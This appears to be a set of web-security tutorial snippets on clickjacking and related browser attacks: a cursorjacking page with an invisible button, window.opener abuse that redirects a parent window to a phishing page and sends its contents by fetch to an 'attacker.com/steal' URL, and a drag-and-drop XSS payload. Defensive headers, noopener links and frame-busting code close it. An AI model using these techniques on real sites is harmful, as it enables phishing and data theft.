<style>
body {
cursor: none; /* Hide real cursor */
}
#fake-cursor {
position: fixed;
width: 20px;
height: 20px;
background: url('fake-cursor.png');
pointer-events: none; /* Don't block clicks */
z-index: 99999;
}
#invisible-button {
position: fixed;
top: 100px;
left: 100px;
width: 50px;
height: 50px;
opacity: 0;
cursor: pointer;
}
</style>
<div id="fake-cursor"></div>
<button id="invisible-button" onclick="attackFunction()">
Real button at different position
</button>
<script>
document.addEventListener('mousemove', function(e) {
// Move fake cursor 50 pixels to the right of real cursor
document.getElementById('fake-cursor').style.left = (e.clientX + 50) + 'px';
document.getElementById('fake-cursor').style.top = (e.clientY) + 'px';
});
</script>
<!-- Parent window (attacker's page) -->
<script>
window.name = 'parent-window';
var childWindow = window.open('https://bank.com/transfer', 'child');
// Later, trusted website might try to communicate back
// Attacker could exploit this trust
</script>
// In child window (injected via XSS or compromised page)
if (window.opener) {
// Redirect parent to phishing site
window.opener.location = 'https://attacker.com/phishing';
// Or try to access parent data
var parentData = window.opener.document.body.innerHTML;
fetch('https://attacker.com/steal?data=' + parentData);
}
<!-- Attacker's page with draggable exploit -->
<style>
#draggable {
width: 200px;
padding: 20px;
background: lightblue;
cursor: move;
user-select: none;
}
</style>
<div id="draggable" draggable="true">
Drag this to your email
</div>
<script>
var draggable = document.getElementById('draggable');
draggable.addEventListener('dragstart', function(e) {
// Set malicious content as drag data
e.dataTransfer.setData('text/html',
'<img src=x onerror="alert(\'XSS\')">');
});
</script>
<iframe src="https://target.com"></iframe>
var w = window.open('https://target.com');
// Try these operations
w.location; // Can we read it?
w.location = 'https://attacker.com'; // Can we navigate it?
w.document; // Can we access document?
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none';
<a href="https://external.com" rel="noopener noreferrer" target="_blank">
External Link
</a>
// Require explicit user confirmation
if (confirm('Transfer $1000 to account 12345?')) {
processTransfer();
}
// Detect if page is in frame
if (window.self !== window.top) {
// Page is framed, break out
window.top.location = window.self.location;
}